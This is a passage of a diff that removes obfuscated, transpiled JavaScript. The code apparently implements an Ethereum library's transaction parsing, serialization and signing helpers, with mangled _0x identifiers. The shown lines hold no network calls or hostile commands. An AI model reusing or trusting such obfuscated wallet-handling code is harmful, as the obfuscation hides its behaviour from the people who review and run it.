- return _0x52c00d;
- }
- function _0x3634a7(_0x53d356, _0x53e8d4) {
- return {
- address: _0x46447e(_0x53d356),
- storageKeys: _0x53e8d4.map(function (_0x555ff5, _0x127f2a) {
- _0x413a2d(_0x2c6f22(_0x555ff5, 32), "invalid slot", "storageKeys[".concat(_0x127f2a, "]"), _0x555ff5);
- return _0x555ff5.toLowerCase();
- })
- };
- }
- function _0x1788e8(_0x236149) {
- if (Array.isArray(_0x236149)) {
- return _0x236149.map(function (_0x3da905, _0x442bab) {
- return Array.isArray(_0x3da905) ? (_0x413a2d(2 === _0x3da905.length, "invalid slot set", "value[".concat(_0x442bab, "]"), _0x3da905), _0x3634a7(_0x3da905[0], _0x3da905[1])) : (_0x413a2d(null != _0x3da905 && "object" === _0x4dce66(_0x3da905), "invalid address-slot set", "value", _0x236149), _0x3634a7(_0x3da905.address, _0x3da905.storageKeys));
- });
- }
- _0x413a2d(null != _0x236149 && "object" === _0x4dce66(_0x236149), "invalid access list", "value", _0x236149);
- var _0x273976 = Object.keys(_0x236149).map(function (_0x1c91fe) {
- var _0x4da6c4 = _0x236149[_0x1c91fe].reduce(function (_0x405bf4, _0x57d8e6) {
- _0x405bf4[_0x57d8e6] = true;
- return _0x405bf4;
- }, {});
- return _0x3634a7(_0x1c91fe, Object.keys(_0x4da6c4).sort());
- });
- _0x273976.sort(function (_0x49a3fa, _0x40876a) {
- return _0x49a3fa.address.localeCompare(_0x40876a.address);
- });
- return _0x273976;
- }
- function _0x3055b4(_0x3fae22, _0x326088, _0x3a863f) {
- !function (_0x31fa2b, _0x336e01) {
- if (_0x336e01.has(_0x31fa2b)) {
- throw new TypeError("Cannot initialize the same private elements twice on an object");
- }
- }(_0x3fae22, _0x326088);
- _0x326088.set(_0x3fae22, _0x3a863f);
- }
- var _0x103501 = BigInt(0);
- var _0x27b88d = BigInt(2);
- var _0x471d1b = BigInt(27);
- var _0x50a86a = BigInt(28);
- var _0x3fcc19 = BigInt(35);
- var _0x3a86e2 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
- function _0x2d5aea(_0x408453) {
- return "0x" === _0x408453 ? null : _0x46447e(_0x408453);
- }
- function _0x143e9d(_0x1f5b2d, _0x531edb) {
- try {
- return _0x1788e8(_0x1f5b2d);
- } catch (_0x4f9f1d) {
- _0x413a2d(false, _0x4f9f1d.message, _0x531edb, _0x1f5b2d);
- }
- }
- function _0x4c0801(_0x511e79, _0x7af144) {
- return "0x" === _0x511e79 ? 0 : _0x453994(_0x511e79, _0x7af144);
- }
- function _0x306bd5(_0x4ea325, _0x3fddeb) {
- if ("0x" === _0x4ea325) {
- return _0x103501;
- }
- var _0x532631 = _0x1d7273(_0x4ea325, _0x3fddeb);
- _0x413a2d(_0x532631 <= _0x3a86e2, "value exceeds uint size", _0x3fddeb, _0x532631);
- return _0x532631;
- }
- function _0x5368b6(_0x4834c6, _0x1951f1) {
- var _0xff6e68 = _0x1d7273(_0x4834c6, "value");
- var _0x48798c = _0x30872d(_0xff6e68);
- _0x413a2d(_0x48798c.length <= 32, "value too large", "tx.".concat(_0x1951f1), _0xff6e68);
- return _0x48798c;
- }
- function _0x2c4998(_0x54de3b) {
- return _0x1788e8(_0x54de3b).map(function (_0x11c8b3) {
- return [_0x11c8b3.address, _0x11c8b3.storageKeys];
- });
- }
- function _0x4005c3(_0x207c01, _0xba8ca6) {
- var _0x36512a = [_0x5368b6(_0x207c01.nonce || 0, "nonce"), _0x5368b6(_0x207c01.gasPrice || 0, "gasPrice"), _0x5368b6(_0x207c01.gasLimit || 0, "gasLimit"), null != _0x207c01.to ? _0x46447e(_0x207c01.to) : "0x", _0x5368b6(_0x207c01.value || 0, "value"), _0x207c01.data || "0x"];
- var _0xdd383c = _0x103501;
- if (_0x207c01.chainId != _0x103501) {
- _0xdd383c = _0x1d7273(_0x207c01.chainId, "tx.chainId");
- _0x413a2d(!_0xba8ca6 || null == _0xba8ca6.networkV || _0xba8ca6.legacyChainId === _0xdd383c, "tx.chainId/sig.v mismatch", "sig", _0xba8ca6);
- } else {
- if (_0x207c01.signature) {
- var _0x3c784e = _0x207c01.signature.legacyChainId;
- null != _0x3c784e && (_0xdd383c = _0x3c784e);
- }
- }
- if (!_0xba8ca6) {
- _0xdd383c !== _0x103501 && (_0x36512a.push(_0x30872d(_0xdd383c)), _0x36512a.push("0x"), _0x36512a.push("0x"));
- return _0x34a12f(_0x36512a);
- }
- var _0x56cd10 = BigInt(27 + _0xba8ca6.yParity);
- _0xdd383c !== _0x103501 ? _0x56cd10 = _0x47e1c0.getChainIdV(_0xdd383c, _0xba8ca6.v) : BigInt(_0xba8ca6.v) !== _0x56cd10 && _0x413a2d(false, "tx.chainId/sig.v mismatch", "sig", _0xba8ca6);
- _0x36512a.push(_0x30872d(_0x56cd10));
- _0x36512a.push(_0x30872d(_0xba8ca6.r));
- _0x36512a.push(_0x30872d(_0xba8ca6.s));
- return _0x34a12f(_0x36512a);
- }
- function _0x25dcc9(_0x22feea, _0x58b4fc) {
- var _0xbcff9b;
- try {
- if (0 !== (_0xbcff9b = _0x4c0801(_0x58b4fc[0], "yParity")) && 1 !== _0xbcff9b) {
- throw new Error("bad yParity");
- }
- } catch (_0x5edad8) {
- _0x413a2d(false, "invalid yParity", "yParity", _0x58b4fc[0]);
- }
- var _0x3ccf30 = _0x8b1210(_0x58b4fc[1], 32);
- var _0x1d4a93 = _0x8b1210(_0x58b4fc[2], 32);
- var _0x11507f = _0x47e1c0.from({
- r: _0x3ccf30,
- s: _0x1d4a93,
- yParity: _0xbcff9b
- });
- _0x22feea.signature = _0x11507f;
- }
- function _0xa10ab3(_0x473273, _0x565a00) {
- var _0x140f9e = [_0x5368b6(_0x473273.chainId || 0, "chainId"), _0x5368b6(_0x473273.nonce || 0, "nonce"), _0x5368b6(_0x473273.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), _0x5368b6(_0x473273.maxFeePerGas || 0, "maxFeePerGas"), _0x5368b6(_0x473273.gasLimit || 0, "gasLimit"), null != _0x473273.to ? _0x46447e(_0x473273.to) : "0x", _0x5368b6(_0x473273.value || 0, "value"), _0x473273.data || "0x", _0x2c4998(_0x473273.accessList || [])];
- _0x565a00 && (_0x140f9e.push(_0x5368b6(_0x565a00.yParity, "yParity")), _0x140f9e.push(_0x30872d(_0x565a00.r)), _0x140f9e.push(_0x30872d(_0x565a00.s)));
- return _0x251cd2(["0x02", _0x34a12f(_0x140f9e)]);
- }
- function _0x242a2c(_0x36ec4b, _0x56042a) {
- var _0x5992d3 = [_0x5368b6(_0x36ec4b.chainId || 0, "chainId"), _0x5368b6(_0x36ec4b.nonce || 0, "nonce"), _0x5368b6(_0x36ec4b.gasPrice || 0, "gasPrice"), _0x5368b6(_0x36ec4b.gasLimit || 0, "gasLimit"), null != _0x36ec4b.to ? _0x46447e(_0x36ec4b.to) : "0x", _0x5368b6(_0x36ec4b.value || 0, "value"), _0x36ec4b.data || "0x", _0x2c4998(_0x36ec4b.accessList || [])];
- _0x56042a && (_0x5992d3.push(_0x5368b6(_0x56042a.yParity, "recoveryParam")), _0x5992d3.push(_0x30872d(_0x56042a.r)), _0x5992d3.push(_0x30872d(_0x56042a.s)));
- return _0x251cd2(["0x01", _0x34a12f(_0x5992d3)]);
- }
- var _0x47fa40 = new WeakMap();
- var _0x4b138a = new WeakMap();
- var _0x24675f = new WeakMap();
- var _0x1732e1 = new WeakMap();
- var _0x315c3c = new WeakMap();
- var _0x18c3c4 = new WeakMap();
- var _0x56c45a = new WeakMap();
- var _0x22a9cd = new WeakMap();
- var _0x4acf4b = new WeakMap();
- var _0x42958d = new WeakMap();
- var _0x7187d8 = new WeakMap();
- var _0x3e519a = new WeakMap();
- var _0x5b44ed = function () {
- function _0xdb7b22() {
- _0x1d998d(this, _0xdb7b22);
- _0x3055b4(this, _0x47fa40, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x4b138a, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x24675f, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x1732e1, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x315c3c, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x18c3c4, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x56c45a, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x22a9cd, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x4acf4b, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x42958d, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x7187d8, {
- writable: true,
- value: undefined
- });
- _0x3055b4(this, _0x3e519a, {
- writable: true,
- value: undefined
- });
- _0x207f54(this, _0x47fa40, null);
- _0x207f54(this, _0x4b138a, null);
- _0x207f54(this, _0x1732e1, 0);
- _0x207f54(this, _0x315c3c, BigInt(0));
- _0x207f54(this, _0x18c3c4, null);
- _0x207f54(this, _0x56c45a, null);
- _0x207f54(this, _0x22a9cd, null);
- _0x207f54(this, _0x24675f, "0x");
- _0x207f54(this, _0x4acf4b, BigInt(0));
- _0x207f54(this, _0x42958d, BigInt(0));
- _0x207f54(this, _0x7187d8, null);
- _0x207f54(this, _0x3e519a, null);
- }
- _0x561e78(_0xdb7b22, [{
- key: "type",
- get: function () {
- return _0x46b89d(this, _0x47fa40);
- },
- set: function (_0x4ddb59) {
- switch (_0x4ddb59) {
- case null:
- _0x207f54(this, _0x47fa40, null);
- break;
- case 0:
- case "legacy":
- _0x207f54(this, _0x47fa40, 0);
- break;
- case 1:
- case "berlin":
- case "eip-2930":
- _0x207f54(this, _0x47fa40, 1);
- break;
- case 2:
- case "london":
- case "eip-1559":
- _0x207f54(this, _0x47fa40, 2);
- break;
- default:
- _0x413a2d(false, "unsupported transaction type", "type", _0x4ddb59);
- }
- }
- }, {
- key: "typeName",
- get: function () {
- switch (this.type) {
- case 0:
- return "legacy";
- case 1:
- return "eip-2930";
- case 2:
- return "eip-1559";
- }
- return null;
- }
- }, {
- key: "to",
- get: function () {
- return _0x46b89d(this, _0x4b138a);
- },
- set: function (_0x36e509) {
- _0x207f54(this, _0x4b138a, null == _0x36e509 ? null : _0x46447e(_0x36e509));
- }
- }, {
- key: "nonce",
- get: function () {
- return _0x46b89d(this, _0x1732e1);
- },
- set: function (_0x2d0032) {
- _0x207f54(this, _0x1732e1, _0x453994(_0x2d0032, "value"));
- }
- }, {
- key: "gasLimit",
- get: function () {
- return _0x46b89d(this, _0x315c3c);
- },
- set: function (_0x26bf4c) {
- _0x207f54(this, _0x315c3c, _0x1d7273(_0x26bf4c));
- }
- }, {
- key: "gasPrice",
- get: function () {
- var _0x2663f0 = _0x46b89d(this, _0x18c3c4);
- return null != _0x2663f0 || 0 !== this.type && 1 !== this.type ? _0x2663f0 : _0x103501;
- },
- set: function (_0x126523) {
- _0x207f54(this, _0x18c3c4, null == _0x126523 ? null : _0x1d7273(_0x126523, "gasPrice"));
- }
- }, {
- key: "maxPriorityFeePerGas",
- get: function () {
- var _0x1030a9 = _0x46b89d(this, _0x56c45a);
- return null == _0x1030a9 ? 2 === this.type ? _0x103501 : null : _0x1030a9;
- },
- set: function (_0x2252d9) {
- _0x207f54(this, _0x56c45a, null == _0x2252d9 ? null : _0x1d7273(_0x2252d9, "maxPriorityFeePerGas"));
- }
- }, {
- key: "maxFeePerGas",
- get: function () {
- var _0xe1d7f9 = _0x46b89d(this, _0x22a9cd);
- return null == _0xe1d7f9 ? 2 === this.type ? _0x103501 : null : _0xe1d7f9;
- },
- set: function (_0x69f9e4) {
- _0x207f54(this, _0x22a9cd, null == _0x69f9e4 ? null : _0x1d7273(_0x69f9e4, "maxFeePerGas"));
- }
- }, {
- key: "data",
- get: function () {
- return _0x46b89d(this, _0x24675f);
- },
- set: function (_0x2e02dc) {
- _0x207f54(this, _0x24675f, _0x192257(_0x2e02dc));
- }
- }, {
- key: "value",
- get: function () {
- return _0x46b89d(this, _0x4acf4b);
- },
- set: function (_0x340931) {
- _0x207f54(this, _0x4acf4b, _0x1d7273(_0x340931, "value"));
- }
- }, {
- key: "chainId",
- get: function () {
- return _0x46b89d(this, _0x42958d);
- },
- set: function (_0x260f38) {
- _0x207f54(this, _0x42958d, _0x1d7273(_0x260f38));
- }
- }, {
- key: "signature",
- get: function () {
- return _0x46b89d(this, _0x7187d8) || null;
- },
- set: function (_0x3d9295) {
- _0x207f54(this, _0x7187d8, null == _0x3d9295 ? null : _0x47e1c0.from(_0x3d9295));
- }
- }, {
- key: "accessList",
- get: function () {
- var _0x41da89 = _0x46b89d(this, _0x3e519a) || null;
- return null == _0x41da89 ? 1 === this.type || 2 === this.type ? [] : null : _0x41da89;
- },
- set: function (_0x295146) {
- _0x207f54(this, _0x3e519a, null == _0x295146 ? null : _0x1788e8(_0x295146));
- }
- }, {
- key: "hash",
- get: function () {
- return null == this.signature ? null : _0xa68238(this.serialized);
- }
- }, {
- key: "unsignedHash",
- get: function () {
- return _0xa68238(this.unsignedSerialized);
- }
- }, {
- key: "from",
- get: function () {
- return null == this.signature ? null : _0x56c182(this.unsignedHash, this.signature);
- }
- }, {
- key: "fromPublicKey",
- get: function () {
- return null == this.signature ? null : _0xda262b.recoverPublicKey(this.unsignedHash, this.signature);
- }
- }, {
- key: "isSigned",
- value: function () {
- return null != this.signature;
- }
- }, {
- key: "serialized",
- get: function () {
- switch (_0x2b816d(null != this.signature, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", {
- operation: ".serialized"
- }), this.inferType()) {
- case 0:
- return _0x4005c3(this, this.signature);
- case 1:
- return _0x242a2c(this, this.signature);
- case 2:
- return _0xa10ab3(this, this.signature);
- }
- _0x2b816d(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", {
- operation: ".serialized"
- });
- }
- }, {
- key: "unsignedSerialized",
- get: function () {
- switch (this.inferType()) {
- case 0:
- return _0x4005c3(this);
- case 1:
- return _0x242a2c(this);
- case 2:
- return _0xa10ab3(this);
- }
- _0x2b816d(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", {
- operation: ".unsignedSerialized"
- });
- }
- }, {
- key: "inferType",
- value: function () {
- return this.inferTypes().pop();
- }
- }, {
- key: "inferTypes",
- value: function () {
- var _0x1f3635 = null != this.gasPrice;
- var _0x303b56 = null != this.maxFeePerGas || null != this.maxPriorityFeePerGas;
- var _0xb57422 = null != this.accessList;
- null != this.maxFeePerGas && null != this.maxPriorityFeePerGas && _0x2b816d(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", {
- value: this
- });
- _0x2b816d(!_0x303b56 || 0 !== this.type && 1 !== this.type, "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", {
- value: this
- });
- _0x2b816d(0 !== this.type || !_0xb57422, "legacy transaction cannot have accessList", "BAD_DATA", {
- value: this
- });
- var _0x2e9164 = [];
- null != this.type ? _0x2e9164.push(this.type) : _0x303b56 ? _0x2e9164.push(2) : _0x1f3635 ? (_0x2e9164.push(1), _0xb57422 || _0x2e9164.push(0)) : _0xb57422 ? (_0x2e9164.push(1), _0x2e9164.push(2)) : (_0x2e9164.push(0), _0x2e9164.push(1), _0x2e9164.push(2));
- _0x2e9164.sort();
- return _0x2e9164;
- }
- }, {
- key: "isLegacy",
- value: function () {
- return 0 === this.type;
- }
- }, {
- key: "isBerlin",
- value: function () {
- return 1 === this.type;
- }
- }, {
- key: "isLondon",
- value: function () {
- return 2 === this.type;
- }
- }, {
- key: "clone",
- value: function () {
- return _0xdb7b22.from(this);
- }
- }, {
- key: "toJSON",
- value: function () {
- var _0x5695c2 = function (_0x5bee5a) {
- return null == _0x5bee5a ? null : _0x5bee5a.toString();
- };
- return {
- type: this.type,
- to: this.to,
- data: this.data,
- nonce: this.nonce,
- gasLimit: _0x5695c2(this.gasLimit),
- gasPrice: _0x5695c2(this.gasPrice),
- maxPriorityFeePerGas: _0x5695c2(this.maxPriorityFeePerGas),
- maxFeePerGas: _0x5695c2(this.maxFeePerGas),
- value: _0x5695c2(this.value),
- chainId: _0x5695c2(this.chainId),
- sig: this.signature ? this.signature.toJSON() : null,
- accessList: this.accessList
- };
- }
- }], [{
- key: "from",
- value: function (_0x402705) {
- if (null == _0x402705) {
- return new _0xdb7b22();
- }
- if ("string" == typeof _0x402705) {
- var _0x43d310 = _0x2565f8(_0x402705);
- if (_0x43d310[0] >= 127) {
- return _0xdb7b22.from(function (_0xa38799) {
- var _0xda439b = _0x1af060(_0xa38799);
- _0x413a2d(Array.isArray(_0xda439b) && (9 === _0xda439b.length || 6 === _0xda439b.length), "invalid field count for legacy transaction", "data", _0xa38799);
- var _0x505ed2 = {
- type: 0,
- nonce: _0x4c0801(_0xda439b[0], "nonce"),
- gasPrice: _0x306bd5(_0xda439b[1], "gasPrice"),
- gasLimit: _0x306bd5(_0xda439b[2], "gasLimit"),
- to: _0x2d5aea(_0xda439b[3]),
- value: _0x306bd5(_0xda439b[4], "value"),
- data: _0x192257(_0xda439b[5]),
- chainId: _0x103501
- };
- if (6 === _0xda439b.length) {
- return _0x505ed2;
- }
- var _0x198cc5 = _0x306bd5(_0xda439b[6], "v");
- var _0x31bc8b = _0x306bd5(_0xda439b[7], "r");
- var _0x57d16f = _0x306bd5(_0xda439b[8], "s");
- if (_0x31bc8b === _0x103501 && _0x57d16f === _0x103501) {
- _0x505ed2.chainId = _0x198cc5;
- } else {
- var _0x24c3d4 = (_0x198cc5 - _0x3fcc19) / _0x27b88d;
- _0x24c3d4 < _0x103501 && (_0x24c3d4 = _0x103501);
- _0x505ed2.chainId = _0x24c3d4;
- _0x413a2d(_0x24c3d4 !== _0x103501 || _0x198cc5 === _0x471d1b || _0x198cc5 === _0x50a86a, "non-canonical legacy v", "v", _0xda439b[6]);
- _0x505ed2.signature = _0x47e1c0.from({
- r: _0x8b1210(_0xda439b[7], 32),
- s: _0x8b1210(_0xda439b[8], 32),
- v: _0x198cc5
- });
- _0x505ed2.hash = _0xa68238(_0xa38799);
- }
- return _0x505ed2;
- }(_0x43d310));
- }
- switch (_0x43d310[0]) {
- case 1:
- return _0xdb7b22.from(function (_0x14a482) {
- var _0x1884b7 = _0x1af060(_0x2565f8(_0x14a482).slice(1));
- _0x413a2d(Array.isArray(_0x1884b7) && (8 === _0x1884b7.length || 11 === _0x1884b7.length), "invalid field count for transaction type: 1", "data", _0x192257(_0x14a482));
- var _0x2723e2 = {
- type: 1,
- chainId: _0x306bd5(_0x1884b7[0], "chainId"),
- nonce: _0x4c0801(_0x1884b7[1], "nonce"),
- gasPrice: _0x306bd5(_0x1884b7[2], "gasPrice"),
- gasLimit: _0x306bd5(_0x1884b7[3], "gasLimit"),
- to: _0x2d5aea(_0x1884b7[4]),
- value: _0x306bd5(_0x1884b7[5], "value"),
- data: _0x192257(_0x1884b7[6]),
- accessList: _0x143e9d(_0x1884b7[7], "accessList")
- };
- 8 === _0x1884b7.length || (_0x2723e2.hash = _0xa68238(_0x14a482), _0x25dcc9(_0x2723e2, _0x1884b7.slice(8)));
- return _0x2723e2;
- }(_0x43d310));
- case 2:
- return _0xdb7b22.from(function (_0x4bfe9c) {
- var _0x126ecf = _0x1af060(_0x2565f8(_0x4bfe9c).slice(1));
- _0x413a2d(Array.isArray(_0x126ecf) && (9 === _0x126ecf.length || 12 === _0x126ecf.length), "invalid field count for transaction type: 2", "data", _0x192257(_0x4bfe9c));
- var _0x282ab2 = _0x306bd5(_0x126ecf[2], "maxPriorityFeePerGas");
- var _0x51d20a = _0x306bd5(_0x126ecf[3], "maxFeePerGas");
- var _0x1f23f0 = {
- type: 2,
- chainId: _0x306bd5(_0x126ecf[0], "chainId"),
- nonce: _0x4c0801(_0x126ecf[1], "nonce"),
- maxPriorityFeePerGas: _0x282ab2,
- maxFeePerGas: _0x51d20a,
- gasPrice: null,
- gasLimit: _0x306bd5(_0x126ecf[4], "gasLimit"),
- to: _0x2d5aea(_0x126ecf[5]),
- value: _0x306bd5(_0x126ecf[6], "value"),
- data: _0x192257(_0x126ecf[7]),
- accessList: _0x143e9d(_0x126ecf[8], "accessList")
- };
- 9 === _0x126ecf.length || (_0x1f23f0.hash = _0xa68238(_0x4bfe9c), _0x25dcc9(_0x1f23f0, _0x126ecf.slice(9)));
- return _0x1f23f0;
- }(_0x43d310));
- }
- _0x2b816d(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", {
- operation: "from"
- });
- }
- var _0x5711e2 = new _0xdb7b22();
- null != _0x402705.type && (_0x5711e2.type = _0x402705.type);
- null != _0x402705.to && (_0x5711e2.to = _0x402705.to);
- null != _0x402705.nonce && (_0x5711e2.nonce = _0x402705.nonce);
- null != _0x402705.gasLimit && (_0x5711e2.gasLimit = _0x402705.gasLimit);
- null != _0x402705.gasPrice && (_0x5711e2.gasPrice = _0x402705.gasPrice);
- null != _0x402705.maxPriorityFeePerGas && (_0x5711e2.maxPriorityFeePerGas = _0x402705.maxPriorityFeePerGas);
- null != _0x402705.maxFeePerGas && (_0x5711e2.maxFeePerGas = _0x402705.maxFeePerGas);
- null != _0x402705.data && (_0x5711e2.data = _0x402705.data);
- null != _0x402705.value && (_0x5711e2.value = _0x402705.value);
- null != _0x402705.chainId && (_0x5711e2.chainId = _0x402705.chainId);
- null != _0x402705.signature && (_0x5711e2.signature = _0x47e1c0.from(_0x402705.signature));
- null != _0x402705.accessList && (_0x5711e2.accessList = _0x402705.accessList);
- null != _0x402705.hash && (_0x413a2d(_0x5711e2.isSigned(), "unsigned transaction cannot define hash", "tx", _0x402705), _0x413a2d(_0x5711e2.hash === _0x402705.hash, "hash mismatch", "tx", _0x402705));
- null != _0x402705.from && (_0x413a2d(_0x5711e2.isSigned(), "unsigned transaction cannot define from", "tx", _0x402705), _0x413a2d(_0x5711e2.from.toLowerCase() === (_0x402705.from || "").toLowerCase(), "from mismatch", "tx", _0x402705));
- return _0x5711e2;
- }
- }]);
- return _0xdb7b22;
- }();
- function _0x59d348(_0xc02111, _0x24f813) {
- var _0x29c00d = "undefined" != typeof Symbol && _0xc02111[Symbol.iterator] || _0xc02111["@@iterator"];
- if (!_0x29c00d) {
- if (Array.isArray(_0xc02111) || (_0x29c00d = function (_0x2bbe81, _0x99f2be) {
- if (_0x2bbe81) {
- if ("string" == typeof _0x2bbe81) {
- return _0x3ab3a3(_0x2bbe81, _0x99f2be);
- }
- var _0x15c331 = Object.prototype.toString.call(_0x2bbe81).slice(8, -1);
- "Object" === _0x15c331 && _0x2bbe81.constructor && (_0x15c331 = _0x2bbe81.constructor.name);
- return "Map" === _0x15c331 || "Set" === _0x15c331 ? Array.from(_0x2bbe81) : "Arguments" === _0x15c331 || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(_0x15c331) ? _0x3ab3a3(_0x2bbe81, _0x99f2be) : undefined;
- }
- }(_0xc02111)) || _0x24f813 && _0xc02111 && "number" == typeof _0xc02111.length) {
- _0x29c00d && (_0xc02111 = _0x29c00d);
- var _0x5b0372 = 0;
- var _0x5c2248 = function () {};
- return {
- s: _0x5c2248,
- n: function () {
- return _0x5b0372 >= _0xc02111.length ? {
- done: true
- } : {
- done: false,
- value: _0xc02111[_0x5b0372++]
- };
- },
- e: function (_0x52104f) {
- throw _0x52104f;
- },
- f: _0x5c2248
- };
- }
- throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.");
- }
- var _0x580b4c;
- var _0x4a86d3 = true;
- var _0x54e92c = false;
- return {
- s: function () {
- _0x29c00d = _0x29c00d.call(_0xc02111);
- },
- n: function () {
- var _0xb0352d = _0x29c00d.next();
- _0x4a86d3 = _0xb0352d.done;
- return _0xb0352d;
- },
- e: function (_0x4c8970) {
- _0x54e92c = true;
- _0x580b4c = _0x4c8970;
- },
- f: function () {
- try {
- _0x4a86d3 || null == _0x29c00d.return || _0x29c00d.return();
- } finally {
- if (_0x54e92c) {
- throw _0x580b4c;
- }
- }
- }
- };
- }
- function _0x3ab3a3(_0x328757, _0x5264ec) {
- (null == _0x5264ec || _0x5264ec > _0x328757.length) && (_0x5264ec = _0x328757.length);
- for (var _0x49f049 = 0, _0x52757c = new Array(_0x5264ec); _0x49f049 < _0x5264ec; _0x49f049++) {
- _0x52757c[_0x49f049] = _0x328757[_0x49f049];
- }
- return _0x52757c;
- }
- function _0x4d7bae(_0x175a64) {
- var _0xcfa129 = {};
- _0x175a64.to && (_0xcfa129.to = _0x175a64.to);
- _0x175a64.from && (_0xcfa129.from = _0x175a64.from);
- _0x175a64.data && (_0xcfa129.data = _0x192257(_0x175a64.data));
- var _0x50f31a;
- var _0x2edb07 = _0x59d348("chainId,gasLimit,gasPrice,maxFeePerGas,maxPriorityFeePerGas,value".split(/,/));
- try {
- for (_0x2edb07.s(); !(_0x50f31a = _0x2edb07.n()).done;) {
- var _0x470e2c = _0x50f31a.value;
- _0x470e2c in _0x175a64 && null != _0x175a64[_0x470e2c] && (_0xcfa129[_0x470e2c] = _0x1d7273(_0x175a64[_0x470e2c], "request.".concat(_0x470e2c)));
- }
- } catch (_0x1a9105) {
- _0x2edb07.e(_0x1a9105);
- } finally {
- _0x2edb07.f();
- }
- var _0x2157ed;
- var _0x2741dc = _0x59d348("type,nonce".split(/,/));
- try {
- for (_0x2741dc.s(); !(_0x2157ed = _0x2741dc.n()).done;) {
- var _0x4ee9c1 = _0x2157ed.value;
- _0x4ee9c1 in _0x175a64 && null != _0x175a64[_0x4ee9c1] && (_0xcfa129[_0x4ee9c1] = _0x453994(_0x175a64[_0x4ee9c1], "request.".concat(_0x4ee9c1)));
- }
- } catch (_0x309b7f) {
- _0x2741dc.e(_0x309b7f);
- } finally {
- _0x2741dc.f();
- }
- _0x175a64.accessList && (_0xcfa129.accessList = _0x1788e8(_0x175a64.accessList));
- "blockTag" in _0x175a64 && (_0xcfa129.blockTag = _0x175a64.blockTag);
- "enableCcipRead" in _0x175a64 && (_0xcfa129.enableCcipReadEnabled = !!_0x175a64.enableCcipRead);
- "customData" in _0x175a64 && (_0xcfa129.customData = _0x175a64.customData);
- return _0xcfa129;
- }
- function _0x2853c3(_0x51d4d8, _0x1ff121, _0x42d6b5) {
- if (!_0x1ff121.has(_0x51d4d8)) {
- throw new TypeError("attempted to get private field on non-instance");
- }
- return _0x42d6b5;
- }
- function _0x3c1d0c(_0x484e72, _0x37a9d2) {
- if (_0x484e72.provider) {
- return _0x484e72.provider;
- }
- _0x2b816d(false, "missing provider", "UNSUPPORTED_OPERATION", {
- operation: _0x37a9d2
- });
- }
- function _0x5a1409(_0x555665, _0x12668a) {
- return _0xb56414.apply(this, arguments);
- }
- function _0xb56414() {
- return (_0xb56414 = _0x203d83(_0x4afc9d.mark(function _0x2f73d8(_0x1553b3, _0xc74d1c) {
- var _0x4fd34e;
- var _0x33dfca;
- return _0x4afc9d.wrap(function (_0x4e51b7) {
- for (;;) {
- switch (_0x4e51b7.prev = _0x4e51b7.next) {
- case 0:
- null != (_0x4fd34e = _0x4d7bae(_0xc74d1c)).to && (_0x4fd34e.to = _0x39f31f(_0x4fd34e.to, _0x1553b3));
- null != _0x4fd34e.from ? (_0x33dfca = _0x4fd34e.from, _0x4fd34e.from = Promise.all([_0x1553b3.getAddress(), _0x39f31f(_0x33dfca, _0x1553b3)]).then(function (_0x2974ca) {
- var _0x206a92 = _0x19dc48(_0x2974ca, 2);
- var _0x1e1101 = _0x206a92[0];
- var _0x509aa4 = _0x206a92[1];
- _0x413a2d(_0x1e1101.toLowerCase() === _0x509aa4.toLowerCase(), "transaction from mismatch", "tx.from", _0x509aa4);
- return _0x1e1101;
- })) : _0x4fd34e.from = _0x1553b3.getAddress();
- _0x4e51b7.next = 5;
- return _0x2cffce(_0x4fd34e);
- case 5:
- return _0x4e51b7.abrupt("return", _0x4e51b7.sent);
- case 6:
- case "end":
- return _0x4e51b7.stop();
- }
- }
- }, _0x2f73d8);
- }))).apply(this, arguments);
- }
- BigInt(0);
- Symbol.iterator;
- Symbol.iterator;
- var _0x5e90aa = function () {
- function _0x401e69(_0x4f9381) {
- _0x1d998d(this, _0x401e69);
- _0x713ed3(this, "provider", undefined);
- _0x7e8dd6(this, {
- provider: _0x4f9381 || null
- });
- }
- var _0x123e9c;
- var _0x3b8db7;
- var _0x2c6d75;
- var _0x2947c9;
- var _0x354225;
- var _0x49572b;
- var _0x5db9e4;
- _0x561e78(_0x401e69, [{
- key: "getNonce",
- value: (_0x5db9e4 = _0x203d83(_0x4afc9d.mark(function _0xe67d5f(_0x5c3ca3) {
- return _0x4afc9d.wrap(function (_0x1aa8b2) {
- for (;;) {
- switch (_0x1aa8b2.prev = _0x1aa8b2.next) {
- case 0:
- _0x1aa8b2.t0 = _0x3c1d0c(this, "getTransactionCount");
- _0x1aa8b2.next = 3;
- return this.getAddress();
- case 3:
- _0x1aa8b2.t1 = _0x1aa8b2.sent;
- _0x1aa8b2.t2 = _0x5c3ca3;
- return _0x1aa8b2.abrupt("return", _0x1aa8b2.t0.getTransactionCount.call(_0x1aa8b2.t0, _0x1aa8b2.t1, _0x1aa8b2.t2));
- case 6:
- case "end":
- return _0x1aa8b2.stop();
- }
- }
- }, _0xe67d5f, this);
- })), function (_0x62c543) {
- return _0x5db9e4.apply(this, arguments);
- })
- }, {
- key: "populateCall",
- value: (_0x49572b = _0x203d83(_0x4afc9d.mark(function _0x4e900d(_0x82c8a2) {
- var _0x4d2992;
- return _0x4afc9d.wrap(function (_0x1137b4) {
- for (;;) {
- switch (_0x1137b4.prev = _0x1137b4.next) {
- case 0:
- _0x1137b4.next = 2;
